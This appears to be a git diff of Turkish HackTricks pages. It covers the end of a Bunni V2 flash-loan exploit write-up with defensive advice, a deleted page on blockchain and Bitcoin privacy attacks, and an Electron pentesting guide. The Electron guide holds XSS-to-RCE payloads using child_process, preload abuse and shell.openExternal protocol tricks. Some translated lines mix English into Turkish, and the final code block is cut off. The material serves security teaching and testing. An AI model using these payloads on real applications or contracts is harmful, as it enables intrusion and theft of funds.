bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) Çıkış ve zincirler arası çoğaltma
- Eğer hooks birden çok zincirde dağıtıldıysa, aynı kalibrasyonu her zincir için tekrar edin.
- Bridge, fonları hedef zincire geri taşır ve isteğe bağlı olarak akışları gizlemek için lending protokolleri aracılığıyla döngü oluşturabilir.
## Hook matematiğindeki yaygın kök nedenler
- Karışık yuvarlama semantiği: mulDiv aşağı yuvarlarken sonraki yollar etkili olarak yukarı yuvarlayabilir; veya token/liquidity arasındaki dönüşümler farklı yuvarlama uygular.
- Tick hizalama hataları: bir yolda yuvarlanmamış tick'ler kullanılırken diğerinde tick aralıklı yuvarlama kullanılması.
- BalanceDelta işaret/taşma sorunları, settlement sırasında int256 ile uint256 dönüşümlerinde ortaya çıkabilir.
- Q64.96 dönüşümlerinde (sqrtPriceX96) hassasiyet kaybının ters haritalamada yansıtılmaması.
- Birikim yolları: işlem başına kalanların, yakılmak/zero‑sum olması gerekirken caller tarafından çekilebilen krediler olarak izlenmesi.
## Savunma rehberi
- Diferansiyel testler: hook’un matematiğini yüksek hassasiyetli rasyonel aritmetik kullanan bir referans implementasyonla aynalayın ve eşitlik veya her zaman saldırgan (asla caller lehine olmayan) sınırlandırılmış bir hata ile doğrulayın.
- Invariant/özellik testleri:
- Swap yolları ve hook ayarlamaları boyunca delta'ların toplamı (tokenlar, likidite) ücretler düşüldükten sonra değeri korumalıdır.
- Hiçbir yol, tekrar eden exactInput iterasyonları boyunca swap başlatıcısı için pozitif net kredi yaratmamalıdır.
- Threshold/tick sınır testleri: exactInput ve exactOutput için ±1 wei girişler civarında testler yapın.
- Yuvarlama politikası: her zaman kullanıcı aleyhine yuvarlayan merkezi yuvarlama yardımcıları oluşturun; tutarsız cast'leri ve örtük floor kullanımını ortadan kaldırın.
- Settlement sinks: kaçınılmaz yuvarlama artıklarını protokol hazinesine biriktirin veya yakın; asla msg.sender'a atfetmeyin.
- Rate‑limits/guardrails: yeniden dengeleme tetiklemeleri için minimum swap boyutları belirleyin; deltal ar sub‑wei ise yeniden dengelemeleri devre dışı bırakın; deltalari beklenen aralıklarla karşılaştırarak sanity‑check yapın.
- Hook callback'lerini bütünsel olarak inceleyin: beforeSwap/afterSwap ve likidite değişikliklerinin before/after'ı tick hizalaması ve delta yuvarlamasında uyumlu olmalıdır.
## Vaka çalışması: Bunni V2 (2025‑09‑02)
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller.
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain.
## Hunting checklist
- Does the pool use a non‑zero hooks address? Which callbacks are enabled?
- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic?
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

182
src/crypto-and-stego/blockchain-and-crypto-currencies.md
View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## Temel Kavramlar
- **Akıllı Sözleşmeler**, belirli koşullar yerine getirildiğinde bir blok zincirinde yürütülen programlar olarak tanımlanır ve aracılara ihtiyaç duymadan anlaşma yürütmelerini otomatikleştirir.
- **Merkeziyetsiz Uygulamalar (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç ile akıllı sözleşmeler üzerine inşa edilir.
- **Tokenlar ve Coinler**, coinlerin dijital para olarak hizmet etmesi, tokenların ise belirli bağlamlarda değer veya mülkiyeti temsil etmesi ile farklılaşır.
- **Yardımcı Tokenlar**, hizmetlere erişim sağlar ve **Güvenlik Tokenları** varlık mülkiyetini belirtir.
- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Merkeziyetsiz Finans anlamına gelir.
- **DEX** ve **DAO'lar**, sırasıyla Merkeziyetsiz Borsa Platformları ve Merkeziyetsiz Otonom Organizasyonlar anlamına gelir.
## Konsensüs Mekanizmaları
Konsensüs mekanizmaları, blok zincirinde güvenli ve kabul edilen işlem doğrulamalarını sağlar:
- **İş Kanıtı (PoW)**, işlem doğrulaması için hesaplama gücüne dayanır.
- **Hisse Kanıtı (PoS)**, doğrulayıcıların belirli bir miktar token bulundurmasını gerektirir ve PoW'ye kıyasla enerji tüketimini azaltır.
## Bitcoin Temelleri
### İşlemler
Bitcoin işlemleri, adresler arasında fon transferini içerir. İşlemler, yalnızca özel anahtarın sahibi tarafından transferlerin başlatılmasını sağlamak için dijital imzalarla doğrulanır.
#### Ana Bileşenler:
- **Çok İmzalı İşlemler**, bir işlemi yetkilendirmek için birden fazla imza gerektirir.
- İşlemler, **girdiler** (fon kaynağı), **çıktılar** (hedef), **ücretler** (madencilere ödenen) ve **senaryolar** (işlem kuralları) içerir.
### Lightning Ağı
Bitcoin'in ölçeklenebilirliğini artırmayı hedefler, bir kanalda birden fazla işlemi gerçekleştirerek yalnızca nihai durumu blok zincirine yayınlar.
## Bitcoin Gizlilik Endişeleri
Gizlilik saldırıları, **Ortak Girdi Mülkiyeti** ve **UTXO Değişim Adresi Tespiti** gibi, işlem kalıplarını istismar eder. **Karıştırıcılar** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır.
## Bitcoinleri Anonim Olarak Edinme
Yöntemler arasında nakit ticareti, madencilik ve karıştırıcıların kullanımı bulunur. **CoinJoin**, birden fazla işlemi karıştırarak izlenebilirliği karmaşıklaştırırken, **PayJoin** CoinJoin'leri normal işlemler olarak gizleyerek gizliliği artırır.
# Bitcoin Gizlilik Saldırıları
# Bitcoin Gizlilik Saldırıları Özeti
Bitcoin dünyasında, işlemlerin gizliliği ve kullanıcıların anonimliği genellikle endişe konusudur. İşte saldırganların Bitcoin gizliliğini tehlikeye atabileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti.
## **Ortak Girdi Mülkiyeti Varsayımı**
Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir, bu nedenle **aynı işlemdeki iki girdi adresinin genellikle aynı sahibine ait olduğu varsayılır**.
## **UTXO Değişim Adresi Tespiti**
Bir UTXO, veya **Harcanmamış İşlem Çıktısı**, bir işlemde tamamen harcanmalıdır. Eğer yalnızca bir kısmı başka bir adrese gönderilirse, geri kalan yeni bir değişim adresine gider. Gözlemciler, bu yeni adresin gönderene ait olduğunu varsayarak gizliliği tehlikeye atabilir.
### Örnek
Bunu hafifletmek için, karıştırma hizmetleri veya birden fazla adres kullanmak mülkiyeti gizlemeye yardımcı olabilir.
## **Sosyal Ağlar ve Forumlar Maruziyeti**
Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır, bu da **adresin sahibine bağlanmasını kolaylaştırır**.
## **İşlem Grafiği Analizi**
İşlemler, fon akışına dayalı olarak kullanıcılar arasındaki potansiyel bağlantıları ortaya çıkaran grafikler olarak görselleştirilebilir.
## **Gereksiz Girdi Heuristiği (Optimal Değişim Heuristiği)**
Bu heuristik, birden fazla girdi ve çıktı içeren işlemleri analiz ederek hangi çıktının gönderene geri dönen değişim olduğunu tahmin etmeye dayanır.
### Örnek
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Eğer daha fazla girdi eklemek, değişiklik çıktısını herhangi bir tek girdi kadar büyük yapıyorsa, bu heuristiği karıştırabilir.
## **Zorunlu Adres Yeniden Kullanımı**
Saldırganlar, alıcının bunları gelecekteki işlemlerde diğer girdilerle birleştirmesini umarak daha önce kullanılan adreslere küçük miktarlar gönderebilir, böylece adresleri birbirine bağlayabilirler.
### Doğru Cüzdan Davranışı
Cüzdanlar, bu gizlilik sızıntısını önlemek için daha önce kullanılan, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır.
## **Diğer Blockchain Analiz Teknikleri**
- **Tam Ödeme Miktarları:** Değişiklik olmadan yapılan işlemler, muhtemelen aynı kullanıcıya ait iki adres arasında gerçekleşir.
- **Yuvarlak Sayılar:** Bir işlemdeki yuvarlak bir sayı, bunun bir ödeme olduğunu gösterir; yuvarlak olmayan çıktı muhtemelen değişikliktir.
- **Cüzdan Parmak İzi:** Farklı cüzdanlar, analistlerin kullanılan yazılımı ve potansiyel olarak değişiklik adresini tanımlamasına olanak tanıyan benzersiz işlem oluşturma desenlerine sahiptir.
- **Miktar ve Zaman Korelasyonları:** İşlem zamanlarını veya miktarlarını açıklamak, işlemlerin izlenebilir hale gelmesine neden olabilir.
## **Trafik Analizi**
Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir, bu da kullanıcı gizliliğini tehlikeye atabilir. Bu, bir varlığın birçok Bitcoin düğümü işletmesi durumunda özellikle doğrudur ve işlemleri izleme yeteneklerini artırır.
## Daha Fazla
Gizlilik saldırıları ve savunmaları hakkında kapsamlı bir liste için [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) adresini ziyaret edin.
# Anonim Bitcoin İşlemleri
## Bitcoinleri Anonim Olarak Elde Etmenin Yolları
- **Nakit İşlemler**: Nakit ile bitcoin edinmek.
- **Nakit Alternatifleri**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin ile değiştirmek.
- **Madencilik**: Bitcoin kazanmanın en özel yöntemi madenciliktir, özellikle yalnız yapıldığında çünkü madencilik havuzları madencinin IP adresini bilebilir. [Madencilik Havuzları Bilgisi](https://en.bitcoin.it/wiki/Pooled_mining)
- **Hırsızlık**: Teorik olarak, bitcoin çalmak anonim olarak edinmenin bir başka yöntemi olabilir, ancak bu yasadışıdır ve önerilmez.
## Karıştırma Hizmetleri
Bir karıştırma hizmeti kullanarak, bir kullanıcı **bitcoin gönderebilir** ve **karşılığında farklı bitcoinler alabilir**, bu da orijinal sahibin izlenmesini zorlaştırır. Ancak, bu hizmetin kayıt tutmaması ve gerçekten bitcoinleri geri döndürmesi için güven gerektirir. Alternatif karıştırma seçenekleri arasında Bitcoin kumarhaneleri bulunmaktadır.
## CoinJoin
**CoinJoin**, farklı kullanıcılardan gelen birden fazla işlemi birleştirerek, girdileri çıktılarla eşleştirmeye çalışan herkes için süreci karmaşık hale getirir. Etkinliğine rağmen, benzersiz girdi ve çıktı boyutlarına sahip işlemler hala izlenebilir.
CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunmaktadır.
Daha fazla bilgi için [CoinJoin](https://coinjoin.io/en) adresini ziyaret edin. Ethereum'da benzer bir hizmet için [Tornado Cash](https://tornado.cash) adresine göz atın; bu, madencilerden gelen fonlarla işlemleri anonimleştirir.
## PayJoin
CoinJoin'un bir varyantı olan **PayJoin** (veya P2EP), iki taraf (örneğin, bir müşteri ve bir satıcı) arasında işlemi, CoinJoin'un belirgin eşit çıktılar özelliği olmadan, normal bir işlem olarak gizler. Bu, tespit edilmesini son derece zorlaştırır ve işlem gözetim varlıkları tarafından kullanılan ortak-girdi-sahipliği heuristiğini geçersiz kılabilir.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Yukarıdaki gibi işlemler PayJoin olabilir, gizliliği artırırken standart bitcoin işlemlerinden ayırt edilemez hale getirir.
**PayJoin'in kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde bozabilir**, bu da işlem gizliliği arayışında umut verici bir gelişme haline getirir.
# Kripto Para Birimlerinde Gizlilik için En İyi Uygulamalar
## **Cüzdan Senkronizasyon Teknikleri**
Gizliliği ve güvenliği korumak için, cüzdanların blockchain ile senkronize edilmesi kritik öneme sahiptir. İki yöntem öne çıkmaktadır:
- **Tam düğüm**: Tüm blockchain'i indirerek, tam düğüm maksimum gizlilik sağlar. Daha önce yapılmış tüm işlemler yerel olarak saklanır, bu da düşmanların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini belirlemesini imkansız hale getirir.
- **İstemci tarafı blok filtreleme**: Bu yöntem, blockchain'deki her blok için filtreler oluşturarak cüzdanların belirli ilgi alanlarını ağ gözlemcilerine ifşa etmeden ilgili işlemleri tanımlamasını sağlar. Hafif cüzdanlar bu filtreleri indirir, yalnızca kullanıcının adresleriyle eşleşme bulunduğunda tam blokları alır.
## **Anonimlik için Tor Kullanımı**
Bitcoin'in eşler arası bir ağda çalıştığı göz önüne alındığında, IP adresinizi maskelemek için Tor kullanılması önerilir, bu da ağla etkileşimde gizliliği artırır.
## **Adres Yeniden Kullanımını Önleme**
Gizliliği korumak için her işlem için yeni bir adres kullanmak hayati öneme sahiptir. Adreslerin yeniden kullanılması, işlemleri aynı varlıkla ilişkilendirerek gizliliği tehlikeye atabilir. Modern cüzdanlar, tasarımları aracılığıyla adres yeniden kullanımını teşvik etmez.
## **İşlem Gizliliği için Stratejiler**
- **Birden fazla işlem**: Bir ödemeyi birkaç işleme bölmek, işlem miktarını belirsiz hale getirerek gizlilik saldırılarını engelleyebilir.
- **Değişiklikten kaçınma**: Değişiklik çıktısı gerektirmeyen işlemleri tercih etmek, değişiklik tespit yöntemlerini bozarak gizliliği artırır.
- **Birden fazla değişiklik çıktısı**: Değişiklikten kaçınmak mümkün değilse, birden fazla değişiklik çıktısı oluşturmak yine de gizliliği artırabilir.
# **Monero: Anonimlik Işığı**
Monero, dijital işlemlerde mutlak anonimlik ihtiyacını karşılar ve gizlilik için yüksek bir standart belirler.
# **Ethereum: Gaz ve İşlemler**
## **Gazı Anlamak**
Gaz, Ethereum'da işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve **gwei** cinsinden fiyatlandırılır. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gaz limiti ve bir temel ücret içerir, ayrıca madencileri teşvik etmek için bir bahşiş vardır. Kullanıcılar, fazla ödeme yapmamalarını sağlamak için maksimum bir ücret belirleyebilir ve fazlası iade edilir.
## **İşlemleri Gerçekleştirme**
Ethereum'daki işlemler bir gönderici ve bir alıcı içerir; bu alıcı ya kullanıcı ya da akıllı sözleşme adresi olabilir. İşlemler bir ücret gerektirir ve madencilik yapılması gerekir. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gaz limiti ve ücretlerdir. Özellikle, göndericinin adresi imzadan çıkarılır, bu da işlem verilerinde bulunmasına gerek kalmaz.
Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto para birimleriyle etkileşimde bulunmanın temelini oluşturur.
## Referanslar
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

226
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -4,14 +4,14 @@
## Giriş
Electron, yerel bir backend (**NodeJS** ile) ve bir frontend (**Chromium**) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Electron, yerel bir backend (**NodeJS**) ve bir frontend (**Chromium**) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Genellikle Electron uygulama kodunu bir `.asar` dosyası içinde bulabilirsiniz; kodu elde etmek için bunu çıkarmanız gerekir:
Genellikle Electron uygulama kodunu bir `.asar` dosyası içinde bulursunuz; koda erişmek için bunu çıkarmanız gerekir:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasını bulabilirsiniz.
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyası belirtilmiş olarak bulunabilir.
```json
{
"name": "standard-notes",
@ -20,11 +20,11 @@ Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yap
Electron'in 2 işlem türü vardır:
- Main Process (NodeJS'e tam erişimi vardır)
- Renderer Process (güvenlik nedeniyle NodeJS erişimi sınırlı olmalıdır)
- Renderer Process (güvenlik nedeniyle NodeJS erişimi kısıtlanmış olmalıdır)
![](<../../../images/image (182).png>)
Bir **renderer process**, bir dosya yükleyen bir tarayıcı penceresi olacaktır:
Bir **renderer process** bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** ayarları main.js dosyası içindeki **main process** içinde **yapılandırılabilir**. Bazı yapılandırmalar, ayarlar **doğru yapılandırıldığında**, Electron uygulamasının **RCE veya diğer zafiyetlere** maruz kalmasını önleyebilir.
Settings of the **renderer süreci** can be **configured** in the **main süreci** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
Electron uygulaması Node apis aracılığıyla **cihaza erişebilir**, ancak bu erişim önlenebilir:
The electron application **could access the device** via Node apis although it can be configure to prevent it:
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer process'ten node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `on`'dur. `off` ise main ve renderer process'leri izole değildir.
- **`nodeIntegration`** - varsayılan olarak `off` durumundadır. Eğer `on` ise, renderer sürecinden node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `on` durumundadır. Eğer `off` ise, main ve renderer süreçleri izole değildir.
- **`preload`** - varsayılan olarak boş.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak `off`'tur. NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak `off` durumundadır. NodeJS'in gerçekleştirebileceği işlemleri kısıtlayacaktır.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - varsayılan olarak `off`'tur.
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içinde iframe'lere yüklenen web sayfalarında **Node.js APIs** kullanımına izin verir.
- Eğer **`nodeIntegration`** **devre dışıysa**, preloads iframe içinde yüklenecektir.
- **`nodeIntegrationInSubframes`** - varsayılan olarak `off` durumundadır.
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preload'lar iframe içinde yüklenecektir
Example of configuration:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Bazı **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt):
Bazı **RCE payloads** kaynağı: [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -97,14 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Trafiği yakalama
start-main yapılandırmasını değiştirin ve şöyle bir proxy kullanımını ekleyin:
start-main yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanımı ekleyin:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Eğer yerelde bir Electron App çalıştırabiliyorsanız, onun rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şu kaynaktan kontrol edin:
Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, onun rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl yapıldığını şurada kontrol edin:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -112,7 +111,7 @@ Eğer yerelde bir Electron App çalıştırabiliyorsanız, onun rastgele javascr
## RCE: XSS + nodeIntegration
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağırarak kolayca Node.js özelliklerini kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i sadece `require()` çağırarak Node.js özelliklerini kolayca kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yöntemi şudur:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Bu ayarda belirtilen script renderer içinde **diğer script'lerden önce yüklenir**, bu yüzden **Node APIs'e sınırsız erişimi**:
Bu ayarda belirtilen script, renderer'daki diğer scriptlerden **önce yüklenir**, bu yüzden **Node APIs**'e sınırsız erişimi vardır:
```javascript
new BrowserWindow{
webPreferences: {
@ -133,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Bu nedenle, script node-features'i sayfalara dışa aktarabilir:
Bu nedenle script, node-features'i pages'lere export edebilir:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -149,17 +148,17 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Eğer `contextIsolation` açıksa, bu çalışmaz**
> [!NOTE] > **Eğer `contextIsolation` açık ise, bu çalışmaz**
## RCE: XSS + contextIsolation
_**contextIsolation**_ web sayfası scriptleri ile **JavaScript Electron'un dahili kodu arasındaki ayrılmış bağlamları** oluşturur, böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir.
The _**contextIsolation**_ web sayfası scriptleri ile JavaScript Electron'ın dahili kodu arasında **ayrılmış bağlamlar** oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir.
Bağlamlar izole değilse bir saldırgan şunları yapabilir:
Eğer bağlamlar izole değilse bir saldırgan şunları yapabilir:
1. **renderer içinde keyfi JavaScript çalıştırmak** (XSS veya dış sitelere yönlendirme)
2. preload veya Electron'un dahili kodunda kullanılan **yerleşik metodu ezmek** ve onu kendi fonksiyonuyla değiştirmek
3. **ezilmiş fonksiyonun** kullanımını **tetiklemek**
1. **arbitrary JavaScript in renderer** (XSS veya harici sitelere yönlendirme)
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
3. **Trigger** the use of **overwritten function**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -179,36 +178,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Click event'i atlatma
### Tıklama olayını atlatma
Bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal sol tıklama yerine **orta tıklama yaparak** atlayabilirsiniz.
Bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, normal sol tıklama yerine **orta tıklama yaparak** bunları atlayabilirsiniz
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Bu örnekler hakkında daha fazla bilgi için şu yazılara bakın: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Daha fazla bilgi için bu örneklere bakın: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. Bu ayarların etkin olması halinde, preload betiklerini veya Electron'un native kodunu ana süreçten hedef alan **client-side remote code execution (RCE)** büyük ölçüde engellenmiş olur.
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarları sağlamak çok önemlidir. Bu ayarlarla, main process'ten preload scripts veya Electron'un native kodunu hedefleyen **client-side remote code execution (RCE)** etkin bir şekilde engellenmiş kabul edilir.
Kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
Kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açıldığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli event listener'lar tetiklenir:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Bu dinleyiciler, kendi **iş mantığını** uygulamak için **masaüstü uygulama tarafından geçersiz kılınır**. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılacağına karar verir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` fonksiyonunu kullanarak harici olarak açılması gerektiğini gösterir.
Bu dinleyiciler, masaüstü uygulaması tarafından **geçersiz kılınır** ve kendi **iş mantığını** uygulamak için kullanılır. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar tipik olarak `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini ve `shell.openExternal` fonksiyonunun kullanılacağını gösterir.
**İşte basitleştirilmiş sözde kod:**
**İşte basitleştirilmiş bir sözde kod:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konuya dair ayrıntılı örnekler ve ek açıklamalar için [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) başvurulabilir; kaynak, bu açığı sömürebilecek Windows protokol örneklerini içerir.
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonuyla güvensiz içeriği kabul etmemeyi önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE tetikleyebilecek farklı protokolleri destekler. Bu konuyla ilgili ayrıntılı örnekler ve daha fazla açıklama için [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)'e bakılabilir; bu kaynak, bu zafiyeti kötüye kullanabilecek Windows protokol örneklerini içerir.
macos'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` örneğinde olduğu gibi keyfi komutların çalıştırılması için kullanılabilir.
macos'ta, `openExternal` fonksiyonu `shell.openExternal('file:///System/Applications/Calculator.app')` gibi komutların çalıştırılması için kötüye kullanılabilir.
**Windows protokol sömürü örnekleri şunlardır:**
**Windows protokol istismar örnekleri şunlardır:**
```html
<script>
window.open(
@ -228,17 +227,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + zafiyetli preload IPC + shell.openExternal
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Bu zafiyet **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** adresinde bulunabilir.
This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
The **webviewTag** is a **kullanımdan kaldırılmış özellik** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
**webviewTag**, **deprecated feature** olan ve **renderer process** içinde **NodeJS** kullanımına izin veren bir özelliktir; bu özellik devre dışı bırakılmalıdır çünkü preload context içinde şu şekilde bir script yüklenmesine izin verir:
```xml
